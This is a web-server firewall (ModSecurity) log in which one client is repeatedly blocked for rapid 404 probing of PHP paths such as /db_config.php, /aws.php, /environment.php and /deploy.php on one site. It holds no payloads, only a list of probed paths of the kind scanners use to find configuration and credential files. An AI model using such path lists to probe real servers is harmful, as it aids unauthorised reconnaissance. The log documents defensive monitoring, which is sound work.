[Sat Apr 25 07:41:40.833511 2026] [:error] [pid 46083:tid 46104] [client 4.232.190.225:37554] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aev_tDxw_Zq74vWdjmlYUgAAARE"]
[Sat Apr 25 07:41:41.300066 2026] [:error] [pid 44425:tid 44433] [client 4.232.190.225:35741] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aev_tSUl-VlItvY2tR8lKQAAAMY"]
[Sat Apr 25 07:41:41.766531 2026] [:error] [pid 44425:tid 44442] [client 4.232.190.225:51248] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aev_tSUl-VlItvY2tR8lKgAAAM8"]
[Sat Apr 25 07:41:42.250266 2026] [:error] [pid 44425:tid 44448] [client 4.232.190.225:51203] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aev_tiUl-VlItvY2tR8lLQAAANU"]
[Sat Apr 25 07:41:42.718005 2026] [:error] [pid 44425:tid 44428] [client 4.232.190.225:57701] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aev_tiUl-VlItvY2tR8lLgAAAME"]
[Sat Apr 25 07:41:43.207779 2026] [:error] [pid 44425:tid 44451] [client 4.232.190.225:44997] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aev_tyUl-VlItvY2tR8lMAAAANg"]
[Sat Apr 25 07:41:43.677112 2026] [:error] [pid 46083:tid 46103] [client 4.232.190.225:35761] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aev_tzxw_Zq74vWdjmlYVwAAARA"]
[Sat Apr 25 07:41:44.147213 2026] [:error] [pid 44321:tid 44404] [client 4.232.190.225:37528] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aev_uI1b5lV-asWa_Y489AAAAJU"]
[Sat Apr 25 07:41:44.623931 2026] [:error] [pid 44319:tid 44352] [client 4.232.190.225:58492] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aev_uMzJPAVLUb2pWtJgeAAAABc"]
[Sat Apr 25 07:41:45.102098 2026] [:error] [pid 46083:tid 46109] [client 4.232.190.225:57672] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aev_uTxw_Zq74vWdjmlYWwAAARU"]
[Sat Apr 25 07:41:45.567873 2026] [:error] [pid 46083:tid 46097] [client 4.232.190.225:46558] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "aev_uTxw_Zq74vWdjmlYZQAAAQo"]
[Sat Apr 25 07:41:46.041375 2026] [:error] [pid 46083:tid 46104] [client 4.232.190.225:51660] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aev_ujxw_Zq74vWdjmlYbgAAARE"]
[Sat Apr 25 07:41:46.514368 2026] [:error] [pid 44321:tid 44407] [client 4.232.190.225:51688] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aev_uo1b5lV-asWa_Y48-AAAAJg"]
[Sat Apr 25 07:41:46.980749 2026] [:error] [pid 44320:tid 44374] [client 4.232.190.225:50063] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aev_ujmFqSpku_dij8iE5gAAAFI"]
[Sat Apr 25 07:41:47.451985 2026] [:error] [pid 46083:tid 46089] [client 4.232.190.225:46576] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infos.php"] [unique_id "aev_uzxw_Zq74vWdjmlYcAAAAQI"]
[Sat Apr 25 07:41:47.939043 2026] [:error] [pid 44425:tid 44451] [client 4.232.190.225:57675] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aev_uyUl-VlItvY2tR8lNQAAANg"]
[Sat Apr 25 07:41:48.427058 2026] [:error] [pid 44425:tid 44432] [client 4.232.190.225:57689] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aev_vCUl-VlItvY2tR8lOAAAAMU"]
[Sat Apr 25 07:41:48.897196 2026] [:error] [pid 46083:tid 46087] [client 4.232.190.225:46548] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aev_vDxw_Zq74vWdjmlYegAAAQA"]
[Sat Apr 25 07:41:49.380574 2026] [:error] [pid 44425:tid 44440] [client 4.232.190.225:37567] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aws.php"] [unique_id "aev_vSUl-VlItvY2tR8lOwAAAM0"]
[Sat Apr 25 07:41:49.854370 2026] [:error] [pid 46083:tid 46112] [client 4.232.190.225:42699] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aev_vTxw_Zq74vWdjmlYfwAAARg"]
[Sat Apr 25 07:41:50.324171 2026] [:error] [pid 46083:tid 46105] [client 4.232.190.225:37537] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aev_vjxw_Zq74vWdjmlYggAAARI"]
[Sat Apr 25 07:41:50.793574 2026] [:error] [pid 46083:tid 46093] [client 4.232.190.225:46552] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aev_vjxw_Zq74vWdjmlYhgAAAQY"]
[Sat Apr 25 07:41:51.260781 2026] [:error] [pid 44319:tid 44335] [client 4.232.190.225:46533] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/embed.php"] [unique_id "aev_v8zJPAVLUb2pWtJggAAAAAY"]
[Sat Apr 25 07:41:51.733743 2026] [:error] [pid 44320:tid 44379] [client 4.232.190.225:46545] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aev_vzmFqSpku_dij8iE7QAAAFc"]
[Sat Apr 25 07:41:52.209800 2026] [:error] [pid 46083:tid 46101] [client 4.232.190.225:57711] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aev_wDxw_Zq74vWdjmlYkwAAAQ4"]
[Sat Apr 25 07:41:52.675150 2026] [:error] [pid 44321:tid 44404] [client 4.232.190.225:35769] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aev_wI1b5lV-asWa_Y48_wAAAJU"]
[Sat Apr 25 07:41:53.148478 2026] [:error] [pid 44321:tid 44387] [client 4.232.190.225:37551] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/stat.php"] [unique_id "aev_wY1b5lV-asWa_Y49BAAAAIQ"]
[Sat Apr 25 07:41:53.621326 2026] [:error] [pid 44321:tid 44385] [client 4.232.190.225:46540] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aev_wY1b5lV-asWa_Y49BQAAAII"]
[Sat Apr 25 07:41:54.087157 2026] [:error] [pid 44425:tid 44432] [client 4.232.190.225:42746] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aev_wiUl-VlItvY2tR8lUgAAAMU"]
[Sat Apr 25 07:41:54.555554 2026] [:error] [pid 46083:tid 46107] [client 4.232.190.225:37544] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aev_wjxw_Zq74vWdjmlYpgAAARM"]
[Sat Apr 25 07:41:55.027379 2026] [:error] [pid 44319:tid 44352] [client 4.232.190.225:50061] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/setup.php"] [unique_id "aev_w8zJPAVLUb2pWtJghQAAABc"]
[Sat Apr 25 07:41:55.509055 2026] [:error] [pid 46083:tid 46094] [client 4.232.190.225:42697] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aev_wzxw_Zq74vWdjmlYrgAAAQc"]
[Sat Apr 25 07:41:55.983193 2026] [:error] [pid 44425:tid 44435] [client 4.232.190.225:50106] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aev_wyUl-VlItvY2tR8lYAAAAMg"]
[Sat Apr 25 07:41:56.451290 2026] [:error] [pid 46083:tid 46097] [client 4.232.190.225:35731] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aev_xDxw_Zq74vWdjmlYtwAAAQo"]
[Sat Apr 25 07:41:56.920654 2026] [:error] [pid 44425:tid 44448] [client 4.232.190.225:39178] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/development.php"] [unique_id "aev_xCUl-VlItvY2tR8lYwAAANU"]
[Sat Apr 25 07:41:57.392321 2026] [:error] [pid 44320:tid 44380] [client 4.232.190.225:45040] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aev_xTmFqSpku_dij8iE9QAAAFg"]
[Sat Apr 25 07:41:57.859656 2026] [:error] [pid 46083:tid 46100] [client 4.232.190.225:37533] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aev_xTxw_Zq74vWdjmlYwQAAAQ0"]
[Sat Apr 25 07:41:58.324849 2026] [:error] [pid 44320:tid 44367] [client 4.232.190.225:35712] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aev_xjmFqSpku_dij8iFBAAAAEs"]
[Sat Apr 25 07:41:58.791826 2026] [:error] [pid 44321:tid 44385] [client 4.232.190.225:37542] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environment.php"] [unique_id "aev_xo1b5lV-asWa_Y49EgAAAII"]
[Sat Apr 25 07:41:59.257625 2026] [:error] [pid 46083:tid 46091] [client 4.232.190.225:37559] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aev_xzxw_Zq74vWdjmlYygAAAQQ"]
[Sat Apr 25 07:41:59.728835 2026] [:error] [pid 44425:tid 44440] [client 4.232.190.225:45020] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aev_xyUl-VlItvY2tR8lbgAAAM0"]
[Sat Apr 25 07:42:00.197753 2026] [:error] [pid 44425:tid 44438] [client 4.232.190.225:37511] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aev_yCUl-VlItvY2tR8lbwAAAMs"]
[Sat Apr 25 07:42:00.696268 2026] [:error] [pid 44320:tid 44374] [client 4.232.190.225:37555] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db_config.php"] [unique_id "aev_yDmFqSpku_dij8iFCQAAAFI"]
[Sat Apr 25 07:42:01.171029 2026] [:error] [pid 44319:tid 44349] [client 4.232.190.225:35732] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aev_yczJPAVLUb2pWtJgjgAAABQ"]
[Sat Apr 25 07:42:01.653084 2026] [:error] [pid 44321:tid 44399] [client 4.232.190.225:50065] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aev_yY1b5lV-asWa_Y49FQAAAJA"]
[Sat Apr 25 07:42:02.119872 2026] [:error] [pid 44319:tid 44339] [client 4.232.190.225:50068] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aev_yszJPAVLUb2pWtJgjwAAAAo"]
[Sat Apr 25 07:42:02.589354 2026] [:error] [pid 44321:tid 44392] [client 4.232.190.225:42696] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Get_Site_Info.php"] [unique_id "aev_yo1b5lV-asWa_Y49FgAAAIk"]
[Sat Apr 25 07:42:03.062954 2026] [:error] [pid 44319:tid 44336] [client 4.232.190.225:35773] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aev_y8zJPAVLUb2pWtJgkQAAAAc"]
[Sat Apr 25 07:42:03.531652 2026] [:error] [pid 44319:tid 44353] [client 4.232.190.225:39229] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aev_y8zJPAVLUb2pWtJgkwAAABg"]
[Sat Apr 25 07:42:03.999084 2026] [:error] [pid 44425:tid 44429] [client 4.232.190.225:38300] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aev_yyUl-VlItvY2tR8lcwAAAMI"]
[Sat Apr 25 07:42:04.473829 2026] [:error] [pid 44321:tid 44396] [client 4.232.190.225:45029] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deploy.php"] [unique_id "aev_zI1b5lV-asWa_Y49GAAAAI0"]
[Sat Apr 25 07:42:04.944043 2026] [:error] [pid 46083:tid 46087] [client 4.232.190.225:44999] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aev_zDxw_Zq74vWdjmlYzwAAAQA"]
[Sat Apr 25 07:42:05.446707 2026] [:error] [pid 46083:tid 46098] [client 4.232.190.225:39182] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aev_zTxw_Zq74vWdjmlY0gAAAQs"]
[Sat Apr 25 07:42:05.919149 2026] [:error] [pid 46083:tid 46094] [client 4.232.190.225:39197] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aev_zTxw_Zq74vWdjmlY1QAAAQc"]
[Sat Apr 25 07:42:06.386395 2026] [:error] [pid 44425:tid 44451] [client 4.232.190.225:38282] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apis.php"] [unique_id "aev_ziUl-VlItvY2tR8ldgAAANg"]
[Sat Apr 25 07:42:06.879920 2026] [:error] [pid 44321:tid 44403] [client 4.232.190.225:39173] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aev_zo1b5lV-asWa_Y49GQAAAJQ"]
[Sat Apr 25 07:42:07.352779 2026] [:error] [pid 44425:tid 44430] [client 4.232.190.225:45003] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aev_zyUl-VlItvY2tR8leQAAAMM"]
